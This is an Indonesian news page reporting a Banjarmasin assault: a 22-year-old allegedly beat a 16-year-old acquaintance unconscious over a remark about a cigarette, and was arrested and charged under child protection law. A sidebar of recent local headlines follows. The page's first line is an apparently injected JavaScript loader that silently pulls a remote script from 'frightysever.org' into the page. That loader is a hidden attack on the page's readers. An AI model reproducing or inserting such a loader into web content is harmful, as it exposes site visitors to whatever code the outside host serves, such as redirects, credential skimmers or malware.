(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Urusan Sebatang Rokok, Pemuda di Banjarmasin Gebuki Kawan Sendiri Karena Tersinggung


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pemuda berinisial WIR alias Odol (22) harus mendengkam di jeruji besi Polsek Banjarmasin Utara hanya akibat gegara hal remeh remeh.

Lelaki warga Jalan Padat Karya, Blok Jamrud 3, Kelurahan Sungai Andai, Kecamatan Banjarmasin Utara itu menganiaya kawan sendiri berinisial AZ (16) yang masih di bawah umur.

Penganiayaan terjadi sepekan yang lalu di Komplek Herlina Perkasa Blok Kruing VIII, Kelurahan Sungai Andai, Kecamatan Banjarmasin Utara Kota Banjarmasin, Selasa (28/2/2023) sekitar pukul 20.15 Wita.

WIR kini ditahan oleh Polsek Banjarmasin Utara pada Selasa (7/3/2023) kemarin, tertunduk memakai baju orange.

 

Baca juga: Malam Nisfu Sya`ban di Musala Ar Raudhah Sekumpul, Jemaah Datang dari Berbagai Penjuru

Kapolsek Banjarmasin Utara Kompol Agus Sugianto melalui Kanit Reskrim Iptu Sudirno mengatakan bahwa kejadian bermula ketika korban AZ (16) sedang bermain handphone di rumah temannya.

Pelaku WIR lalu datang ke rumah yang terletak di komplek Herlina Blok Kruing VIII, Sungai Andai berniat untuk meminjam handphone milik teman korban.

WIR saat melihat AZ di rumah tersebut mendekatinya dengan maksud untuk meminta sebatang rokok.

Korban AZ pun memberikan sebatang rokok miliknya kepada pelaku. Setelah rokok diminta, AZ berucap “beli rokok saja ngutang, minta lagi”.

Perkataan itu kontan saja membuat WIR sangat tersinggung dan langsung memukul korban berkali-kali. AZ sempat meminta maaf kepada pelaku atas perkataanya, namun malah diajak untuk berkelahi.

“Sampai sini korban sebenarnya menolak dan meminta maaf kepada pelaku,” katanya.

Baca juga: RSUD Soemarno Sosroatmodjo Kabupaten Kapuas Peroleh Akreditasi Bintang Lima

Pelaku yang kadung tersinggung, terus memukuli korban sampai pingsan dan harus dilarikan ke Rumah Sakit Anshari Saleh Banjarmasin.

“Korban mengalami kejang-kejang akibat pukulan itu, lalu dilarikan ke rumah sakit,” ungkap Iptu Sudirno.

Sesuai kejadian, keluarga korban tak terima dan melapor ke Polsek Banjarmasin Utara. Setelah tiga hari berselang pelaku W berhasil diamankan setelah kejadian penganiayaan.

Atas perbuatan tersebut ia harus mendekam dipenjara dan dijerat Pasal 80 Ayat (1) UU RI Nomor 35 Tahun 2014 tentang perubahan atas UU RI Nomor 23 Tahun 2022 tentang Perlindungan Anak. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

2 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

3 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

4 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

4 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

4 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.